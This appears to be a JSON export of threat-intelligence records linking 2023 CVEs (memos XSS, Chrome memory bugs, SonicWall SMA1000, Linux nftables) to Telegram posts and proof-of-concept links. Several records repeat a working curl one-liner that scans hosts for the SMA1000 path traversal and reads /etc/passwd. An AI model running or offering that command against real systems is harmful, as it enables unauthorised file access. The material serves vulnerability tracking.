https://github.com/usememos/memos/commit/46c13a4b7f675b92d297df6dabb4441f13c7cd9c\n2. https://huntr.dev/bounties/6e4a1961-dbca-46f6-ae21-c25a621e54a7", "creation_timestamp": "2025-04-09T15:47:50.000000Z"}, {"uuid": "af7815bb-d389-4892-86e4-198b76f9045e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0108", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11102", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0108\n\ud83d\udd25 CVSS Score: 7.1 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L)\n\ud83d\udd39 Description: Cross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.\n\ud83d\udccf Published: 2023-01-07T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T15:39:06.593Z\n\ud83d\udd17 References:\n1. https://github.com/usememos/memos/commit/46c13a4b7f675b92d297df6dabb4441f13c7cd9c\n2. https://huntr.dev/bounties/f66d33df-6588-4ab4-80a0-847451517944", "creation_timestamp": "2025-04-09T15:47:51.000000Z"}, {"uuid": "4e623778-1bb1-44af-bb86-b5c9889225e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0111", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11100", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0111\n\ud83d\udd25 CVSS Score: 5.4 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: Cross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.\n\ud83d\udccf Published: 2023-01-07T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T15:40:10.708Z\n\ud83d\udd17 References:\n1. https://github.com/usememos/memos/commit/46c13a4b7f675b92d297df6dabb4441f13c7cd9c\n2. https://huntr.dev/bounties/70da256c-977a-487e-8a6a-9ae22caedbe3", "creation_timestamp": "2025-04-09T15:47:49.000000Z"}, {"uuid": "3b0e2937-13fe-4827-9b84-90b344c0cb22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0107", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11103", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0107\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L)\n\ud83d\udd39 Description: Cross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.\n\ud83d\udccf Published: 2023-01-07T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T15:38:27.611Z\n\ud83d\udd17 References:\n1. https://github.com/usememos/memos/commit/0f8ce3dd1696722f951d7195ad1f88b39a5d15d7\n2. https://huntr.dev/bounties/0b28fa57-acb0-47c8-ac48-962ff3898156", "creation_timestamp": "2025-04-09T15:47:52.000000Z"}, {"uuid": "235347d2-08f6-4fb0-adc3-a0d4acd9624e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0159", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-28)", "content": "", "creation_timestamp": "2026-04-28T00:00:00.000000Z"}, {"uuid": "87faca48-bac6-4d3c-bc71-326d12c78bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0159", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-28)", "content": "", "creation_timestamp": "2026-04-28T00:00:00.000000Z"}, {"uuid": "209776fe-37b2-4b8e-9291-cc57a5a0e531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0129", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14915", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0129\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Heap buffer overflow in Network Service in Google Chrome prior to 109.0.5414.74 allowed an attacker who convinced a user to install a malicious extension to potentially exploit heap corruption via a crafted HTML page and specific interactions. (Chromium security severity: High)\n\ud83d\udccf Published: 2023-01-10T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T16:10:48.639Z\n\ud83d\udd17 References:\n1. https://chromereleases.googleblog.com/2023/01/stable-channel-update-for-desktop.html\n2. https://crbug.com/1382033\n3. https://security.gentoo.org/glsa/202305-10\n4. https://security.gentoo.org/glsa/202311-11", "creation_timestamp": "2025-05-05T16:20:08.000000Z"}, {"uuid": "9bb63c27-faaa-4e3e-a5d3-a4e454f4967d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0128", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14914", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0128\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Use after free in Overview Mode in Google Chrome on Chrome OS prior to 109.0.5414.74 allowed a remote attacker who convinced a user to engage in specific UI interactions to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)\n\ud83d\udccf Published: 2023-01-10T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T16:10:58.406Z\n\ud83d\udd17 References:\n1. https://chromereleases.googleblog.com/2023/01/stable-channel-update-for-desktop.html\n2. https://crbug.com/1353208\n3. https://security.gentoo.org/glsa/202305-10\n4. https://security.gentoo.org/glsa/202311-11", "creation_timestamp": "2025-05-05T16:20:07.000000Z"}, {"uuid": "e4d35f77-cea1-4f0f-af9a-50d4e172238c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0135", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14917", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0135\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Use after free in Cart in Google Chrome prior to 109.0.5414.74 allowed an attacker who convinced a user to install a malicious extension to potentially exploit heap corruption via database corruption and a crafted HTML page. (Chromium security severity: Medium)\n\ud83d\udccf Published: 2023-01-10T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T16:10:28.244Z\n\ud83d\udd17 References:\n1. https://chromereleases.googleblog.com/2023/01/stable-channel-update-for-desktop.html\n2. https://crbug.com/1385831\n3. https://security.gentoo.org/glsa/202305-10\n4. https://security.gentoo.org/glsa/202311-11", "creation_timestamp": "2025-05-05T16:20:11.000000Z"}, {"uuid": "fe30d3ef-ac16-47cb-9a10-1056ea38a749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0134", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14916", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0134\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Use after free in Cart in Google Chrome prior to 109.0.5414.74 allowed an attacker who convinced a user to install a malicious extension to potentially exploit heap corruption via database corruption and a crafted HTML page. (Chromium security severity: Medium)\n\ud83d\udccf Published: 2023-01-10T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T16:10:37.613Z\n\ud83d\udd17 References:\n1. https://chromereleases.googleblog.com/2023/01/stable-channel-update-for-desktop.html\n2. https://crbug.com/1385709\n3. https://security.gentoo.org/glsa/202305-10\n4. https://security.gentoo.org/glsa/202311-11", "creation_timestamp": "2025-05-05T16:20:09.000000Z"}, {"uuid": "58f8a9f7-b6ca-46f3-a2e9-469f416a1287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0177", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8281", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0177\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Social Like Box and Page by WpDevArt WordPress plugin before 0.8.41 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2023-02-13T14:32:32.510Z\n\ud83d\udccf Modified: 2025-03-20T20:01:47.774Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/712c2154-37f4-424c-ba3b-26ba6aa95bca", "creation_timestamp": "2025-03-20T20:19:33.000000Z"}, {"uuid": "3499ccea-87ff-401a-88ec-b79549674344", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0159", "type": "seen", "source": "Telegram/cWtiHx103QDqzsPEFibXmjg0nuYdbQyVZSdVVV_BXQwi1FA", "content": "", "creation_timestamp": "2025-07-31T15:00:06.000000Z"}, {"uuid": "dc152615-5408-48f1-93ea-53c4eb80ff1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0159", "type": "published-proof-of-concept", "source": "Telegram/y7-RpDrmSuXhLcSTuW0R9_s09Quezx-GrdrSmzgmffhhoeQ", "content": "", "creation_timestamp": "2025-08-01T03:00:09.000000Z"}, {"uuid": "9ddb6be3-b776-4ffd-986e-314efc018c45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/malwar3s/23", "content": "https://github.com/TurtleARM/CVE-2023-0179-PoC", "creation_timestamp": "2023-01-30T16:19:52.000000Z"}, {"uuid": "260b2e9d-66c8-445e-9d1b-e748cc2e0edf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/malwar3s/39", "content": "https://github.com/TurtleARM/CVE-2023-0179-PoC", "creation_timestamp": "2023-03-15T05:56:23.000000Z"}, {"uuid": "35fcabf6-1ff3-4b32-84b0-6719cee99ad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/TopCyberTechNews/239", "content": "Top Security News for 17/01/2023\n\nAccountant ordered to pay ex-employer after bossware shows \"time theft\"\nhttps://www.malwarebytes.com/blog/news/2023/01/accountant-ordered-to-pay-ex-employer-after-bossware-shows-time-theft \n\nT95 Android TV Box sold on Amazon hides sophisticated malware\nhttps://securityaffairs.com/140866/security/t95-android-tv-box-malware.html \n\nFighting technology's gender gap with TracketPacer: Lock and Code S04E02\nhttps://www.malwarebytes.com/blog/podcast/2023/01/fighting-technologys-gender-gap-with-tracketpacer \n\n[CVE-2023-0179] Linux kernel stack buffer overflow in nftables: PoC and writeup\nhttps://www.reddit.com/r/netsec/comments/10d98w1/cve20230179_linux_kernel_stack_buffer_overflow_in/ \n\nNew Backdoor Created Using Leaked CIA's Hive Malware Discovered in the Wild\nhttps://thehackernews.com/2023/01/new-backdoor-created-using-leaked-cias.html \n\nISC Stormcast For Tuesday, January 17th, 2023 https://isc.sans.edu/podcastdetail.html?id=8328, (Tue, Jan 17th)\nhttps://isc.sans.edu/diary/rss/29440 \n\nUnauthenticated Configuration Export in Multiple WAGO Products\nhttps://www.reddit.com/r/netsec/comments/10dblrc/unauthenticated_configuration_export_in_multiple/ \n\nAvast researchers released a free BianLian ransomware decryptor for some variants of the malware\nhttps://securityaffairs.com/140892/malware/free-bianlian-ransomware-decryptor.html \n\n\"Untraceable\" surveillance firm sued for scraping Facebook and Instagram data\nhttps://www.malwarebytes.com/blog/news/2023/01/untraceable-surveillance-firm-sued-for-scraping-facebook-and-instagram-data \n\nThe misadventures of SPF: Delivering SPF authenticated emails on behalf of the Ukrainian MoD, MIT and 1000+ others.\nhttps://www.reddit.com/r/netsec/comments/10e4rk9/the_misadventures_of_spf_delivering_spf/ \n\n    \nFollow Top Cyber News at https://t.me/TopCyberTechNews\nFeel free to DM me at https://twitter.com/ShayaFeedman", "creation_timestamp": "2025-07-21T09:18:21.000000Z"}, {"uuid": "fbc3832b-c5a0-47db-a4ea-8ecc86066c4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/cvedetector/21320", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-53033 - \"Netfilter VLAN Header Arithmetic Overflow Vulnerability in Linux\"\", \n  \"Content\": \"CVE ID : CVE-2023-53033 \nPublished : March 27, 2025, 5:15 p.m. | 27\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnetfilter: nft_payload: incorrect arithmetics when fetching VLAN header bits  \n  \nIf the offset + length goes over the ethernet + vlan header, then the  \nlength is adjusted to copy the bytes that are within the boundaries of  \nthe vlan_ethhdr scratchpad area. The remaining bytes beyond ethernet +  \nvlan header are copied directly from the skbuff data area.  \n  \nFix incorrect arithmetic operator: subtract, not add, the size of the  \nvlan header in case of double-tagged packets to adjust the length  \naccordingly to address CVE-2023-0179. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-27T19:09:51.000000Z"}, {"uuid": "44901bbe-c61b-401d-a4c8-31c81a4e71c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0109", "type": "seen", "source": "https://t.me/cvedetector/11061", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-0109 - Microsoft Memos Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2023-0109 \nPublished : Nov. 15, 2024, 11:15 a.m. | 36\u00a0minutes ago \nDescription : A stored cross-site scripting (XSS) vulnerability was discovered in usememos/memos version 0.9.1. This vulnerability allows an attacker to upload a JavaScript file containing a malicious script and reference it in an HTML file. When the HTML file is accessed, the malicious script is executed. This can lead to the theft of sensitive information, such as login credentials, from users visiting the affected website. The issue has been fixed in version 0.10.0. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T13:15:35.000000Z"}, {"uuid": "1d717b03-b7f3-4b02-8296-50635dadc52b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "Telegram/W1iQQEumq01scs0kkwOzxnkyTpTQqxR18aFE0Ghk4_eJYa8", "content": "", "creation_timestamp": "2024-04-02T20:37:29.000000Z"}, {"uuid": "d9aeb7dd-c1f0-4b63-8983-ff62b8023e35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/LockBitRaasRansomware/14405", "content": "", "creation_timestamp": "2024-04-02T20:37:31.000000Z"}, {"uuid": "06997f88-99a7-4ecb-bd39-804236f4e5ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0126", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3146", "content": "CVE-2023-0126 One Liner \n\nSonicWall SMA1000 -\u00a0 File Read Bug\n\nPOC:\n\ncat file.txt| while read host do;do curl -sk \"http://$host:8443/images//////////////////../../../../../../../../etc/passwd\" | grep -i 'root:' &amp;&amp; echo $host \"is VULN\";done", "creation_timestamp": "2023-09-29T12:56:46.000000Z"}, {"uuid": "78c1acb7-6503-4cb7-ac37-2ee2be5b5dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0126", "type": "published-proof-of-concept", "source": "https://t.me/leak_db2/1605", "content": "CVE-2023-0126 One Liner \n\nSonicWall SMA1000 -\u00a0 File Read Bug\n\nPOC:\ncat file.txt| while read host do;do curl -sk \"http://$host:8443/images//////////////////../../../../../../../../etc/passwd\" | grep -i 'root:' &amp;&amp; echo $host \"is VULN\";done\n\n\nPre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.\n\n\n\n@leak_db2", "creation_timestamp": "2024-01-11T12:30:19.000000Z"}, {"uuid": "5c83a043-f415-4307-b93e-8a605b5a08f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3154", "content": "Hackers Factory \n\nA COFF loader made in Rust\n\nhttps://github.com/hakaioffsec/coffee\n\nA simple script just made for self use for bypassing 403\n\nhttps://github.com/iamj0ker/bypass-403\n\n403/401 Bypass Methods + Bash Automation + Your Support ;)\n\nhttps://github.com/Dheerajmadhukar/4-ZERO-3\n\nCommon methods to found API endpoints\n\n1- Swagger UI Documentation\n2- Dictionary Attack | Brute force\n3- Common wordlist for API Enum :\nwordlists.assetnote.io\n\nhttps://github.com/Net-hunter121/API-Wordlist\n\n#bugbountytips #BugBounty\n\nLinux Security and Monitoring Scripts\n\nhttps://github.com/sqall01/LSMS\n\nAn OSINT tool that helps detect members of a company with leaked credentials\n\nhttps://github.com/infobyte/emploleaks\n\nDFIQ is a collection of investigative questions and the approaches for answering them\n\nhttps://github.com/google/dfiq\n\nHunts out CobaltStrike beacons and logs operator command output\n\nhttps://github.com/CCob/BeaconEye\n\nA POC of the ContainYourself research presented in DEF CON 31, which abuses the Windows containers framework to bypass EDRs.\n\nhttps://github.com/deepinstinct/ContainYourself\n\nNeedle (CVE-2023-0179) exploit\n\nhttps://github.com/TurtleARM/CVE-2023-0179-PoC\n\n#infosec #cybersecurity #hackersfactory \n\nhttps://t.me/dilagrafie", "creation_timestamp": "2023-08-15T00:23:05.000000Z"}, {"uuid": "fa10dd08-2dab-4754-9a9d-4ab5479452b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0126", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/1741", "content": "CVE-2023-0126\nSonicWall SMA1000\nFile Read Bug\nPOC:  \ncat file.txt| while read host do;do curl -sk \"http://$host:8443/images//////////////////../../../../../../../../etc/passwd\" | grep -i 'root:' &amp;&amp; echo $host \"is VULN\";done", "creation_timestamp": "2023-09-28T15:18:16.000000Z"}, {"uuid": "8fa994ba-c490-4edd-896c-d2b07d07fc8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/1316", "content": "CVE-2023-0179 PoC\n\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f  \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Nftables,  \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Linux \u043e\u0442 5.5 \u0434\u043e 6.2-rc3, \u0445\u043e\u0442\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u043d\u0430 \u0441\u0432\u0435\u0436\u0435\u043c \u044f\u0434\u0440\u0435 6.1.6\n\u041f\u043e\u043d\u044f\u0442\u044c \u0433\u043b\u0443\u0431\u0438\u043d\u0443\n\n#linux #kernel #lpe #nftables", "creation_timestamp": "2023-01-21T14:30:01.000000Z"}, {"uuid": "fe07d612-419b-4084-afc7-969d0957f63b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "Telegram/jIWEy7CiWxkuOKutCTy23NsFwNh86LuDziVriTAlQIvYbCg", "content": "", "creation_timestamp": "2023-02-08T18:35:19.000000Z"}, {"uuid": "7885a1fa-b2af-41cb-a6ba-ff2bd3dad1f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "Telegram/Aw9IuqN9de1MvXGlHHxdFwUz3jPUwXOcd5_jwW1OR-5PFnc", "content": "", "creation_timestamp": "2023-03-02T18:55:20.000000Z"}, {"uuid": "071dd24d-900b-4c2e-ae76-71ec2128960b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "Telegram/EmGgqq5jv6w96mpOJh4Urd3TH_8ZK2VC2bXBuFixF0HNu2E", "content": "", "creation_timestamp": "2023-02-12T05:15:06.000000Z"}, {"uuid": "86de3f1a-4db3-4bfc-94b7-adeea3cde4cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/MrVGunz/927", "content": "Bug 2161713 (CVE-2023-0179) - CVE-2023-0179 Linux kernel : Netfilter integer overflow vulnerability in nft_payload_copy_vlan \nDepends On: 2161722 \u26a1\ufe0f 2161723 \u26a1\ufe0f 2161724 \u26a1\ufe0f 2161725 \u26a1\ufe0f 2161726 \u26a1\ufe0f 2161727 \u26a1\ufe0f 2161728 \u26a1\ufe0f 2161729 \u26a1\ufe0f 2161730 \u26a1\ufe0f 2161746 \u26a1\ufe0f 2161747 \u26a1\ufe0f2170098\nBlocks :  2159917\nLink : https://bugzilla.redhat.com/show_bug.cgi?id=2161713\nPOC : https://github.com/TurtleARM/CVE-2023-0179-PoC\nPOC : https://github.com/H4K6/CVE-2023-0179-PoC", "creation_timestamp": "2023-12-28T10:22:35.000000Z"}, {"uuid": "6f0e5c8b-5791-41ee-9202-bd7284110b33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/2358", "content": "Linux kernel stack buffer overflow in nftables(CVE-2023-0179)\nThe vulnerability consists of a stack BOF due to an integer underflow vulnerability inside the nft_payload_copy_vlan function, which is invoked with nft_payload expressions as long as a VLAN tag is present in the current skb.\n\n\u26a0\ufe0fThe exploitation could allow the leakage of both stack and heap addresses and, potentially, a LPE to the root user via arbitrary code execution.\n\nExploit: https://system32.ink/news-feed/p/162/", "creation_timestamp": "2023-01-21T14:20:39.000000Z"}, {"uuid": "07ce2856-b3df-4bbe-ac0f-38fbebf13f8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0129", "type": "seen", "source": "https://t.me/true_secator/3930", "content": "Google \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Chrome 109 \u0432 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u043c \u043a\u0430\u043d\u0430\u043b\u0435 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 17 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 14 \u043e\u0448\u0438\u0431\u043e\u043a, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438.\n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043d\u0438\u0445\u00a0\u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0438 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043e\u0431\u0437\u043e\u0440\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 (CVE-2023-0128) \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435 (CVE-2023-0129).\n\n\u041f\u0435\u0440\u0432\u0443\u044e 16 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 2022 \u0433\u043e\u0434\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440 \u0425\u0430\u043b\u0438\u043b \u0416\u0430\u043d\u0438, \u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0438\u043b Asnine 7 \u043d\u043e\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.\n\nGoogle \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 \u0438\u043c \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u044d\u0442\u0438\u0445 